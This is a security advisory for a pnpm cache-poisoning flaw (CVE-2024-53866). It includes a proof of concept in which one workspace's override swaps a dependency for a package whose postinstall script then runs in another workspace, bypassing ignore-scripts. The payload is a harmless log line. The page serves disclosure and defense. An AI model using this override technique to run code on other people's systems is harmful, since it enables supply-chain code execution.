GHSA-vm32-9rqf-rh3r CVE-2024-53866
pnpm no-script global cache poisoning via overrides / `ignore-scripts` evasion
- Severity
- 0.0 / 10
- Critical · CVSS 4.0
- Exploit chance (EPSS)
- 0.98%
- Chance of exploitation in the next 30 days. Higher than 62.16% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Fix
9.15.0- Upgrade pnpm to this version or later
Description
Summary
pnpm seems to mishandle overrides and global cache:
- Overrides from one workspace leak into npm metadata saved in global cache
- npm metadata from global cache affects other workspaces
- installs by default don't revalidate the data (including on first lockfile generation)
This can make workspace A (even running with ignore-scripts=true) posion global cache and execute scripts in workspace B
Users generally expect ignore-scripts to be sufficient to prevent immediate code execution on install (e.g. when the tree is just repacked/bundled without executing it).
Here, that expectation is broken
Details
See PoC.
In it, overrides from a single run of A get leaked into e.g. ~/Library/Caches/pnpm/metadata/registry.npmjs.org/rimraf.json and persistently affect all other projects using the cache
PoC
Postinstall code used in PoC is benign and can be inspected in https://www.npmjs.com/package/ponyhooves?activeTab=code, it's just a console.log
- Remove store and cache
On mac:
rm -rf ~/Library/Caches/pnpm ~/Library/pnpm/storeThis step is not required in general, but we'll be using a popular package for PoC that's likely cached - Create
A/package.json:
Install it with{ "name": "A", "pnpm": { "overrides": { "rimraf>glob": "npm:ponyhooves@1" } }, "dependencies": { "rimraf": "6.0.1" } }pnpm i --ignore-scripts(the flag is not required, but the point of the demo is to show that it doesn't help) - Create
B/package.json:
Install it with{ "name": "B", "dependencies": { "rimraf": "6.0.1" } }pnpm i
Result:
Packages: +3
+++
Progress: resolved 3, reused 3, downloaded 0, added 3, done
node_modules/.pnpm/ponyhooves@1.0.1/node_modules/ponyhooves: Running postinstall script, done in 51ms
dependencies:
+ rimraf 6.0.1
Done in 1.4s
Also, that code got leaked into another project and it's lockfile now!
Impact
Global state integrity is lost via operations that one would expect to be secure, enabling subsequently running arbitrary code execution on installs
As a work-around, use separate cache and store dirs in each workspace
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| pnpm | < 9.15.0 |
9.15.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
pnpm npm → 9.15.0
- npm
npm install pnpm@9.15.0- yarn
yarn add pnpm@9.15.0- pnpm
pnpm add pnpm@9.15.0
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:N/VI:L/VA:N/SC:H/SI:H/SA:H
- Attack vector
- Network
- Attack complexity
- High
- Attack requirements
- Present
- Privileges required
- None
- User interaction
- Passive
- Confidentiality (vulnerable system)
- None
- Integrity (vulnerable system)
- Low
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- High
- Integrity (subsequent systems)
- High
- Availability (subsequent systems)
- High
CVSS 3.1 9.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-346: Origin Validation Error
The product does not properly verify that the source of data or communication is valid.
CWE-426: Untrusted Search Path
The product searches for critical resources using an externally-supplied search path that can point to resources that are not under the product's direct control.
How to prevent it
- Architecture and Design, Implementation: Hard-code the search path to a set of known-safe values (such as system directories), or only allow them to be specified by the administrator in a configuration file. Do not allow these settings to be modified by an external party. Be careful to avoid related weaknesses such as CWE-426 and CWE-428.
- Implementation: When invoking other programs, specify those programs using fully-qualified pathnames. While this is an effective approach, code that uses fully-qualified pathnames might not be portable to other systems that do not use the same pathnames. The portability can be improved by locating the full-qualified paths in a centralized, easily-modifiable location within the source code, and having the code refer to these paths.
- Implementation: Remove or restrict all environment settings before invoking other programs. This includes the PATH environment variable, LD_LIBRARY_PATH, and other settings that identify the location of code libraries, and any application-specific search paths.
- Implementation: Check your search path before use and remove any elements that are likely to be unsafe, such as the current working directory or a temporary files directory.
- Implementation: Use other functions that require explicit paths. Making use of any of the other readily available functions that require explicit paths is a safe way to avoid this problem. For example, system() in C does not require a full path since the shell can take care of it, while execl() and execv() require a full path.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-vx52-2968-3vc6 pnpm: Environment secrets exfiltrated via env-placeholder expansion in proxy settings read from an untrusted pnpm-workspace.yaml | High | Also affects pnpm |
| GHSA-2rx9-3g3h-c2jv pnpm: pacquet trust-lockfile install can create dependency symlinks outside the project | High | Also affects pnpm |
| GHSA-vq4v-j7r6-jq4m pnpm: A tarball dependency's manifest `name` escapes node_modules → arbitrary file write/overwrite on install | High | Also affects pnpm |
| GHSA-c59q-g84q-2gj5 pnpm: Virtual store linker path traversal via unvalidated depPath name in lockfileToDepGraph | High | Also affects pnpm |
| GHSA-qrv3-253h-g69c pnpm: Path traversal in configDependencies env lockfile allows symlink creation outside node_modules/.pnpm-config | High | Also affects pnpm |
| GHSA-72r4-9c5j-mj57 pnpm: `patch-remove` could delete project-selected files outside the patches directory | High | Also affects pnpm |
| GHSA-fr4h-3cph-29xv pnpm: Hoisted install imports lockfile alias outside node_modules | High | Also affects pnpm |
| GHSA-v23m-ccfg-pq9h pnpm: `stage download` writes outside its destination directory via manifest name/version traversal | High | Also affects pnpm |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor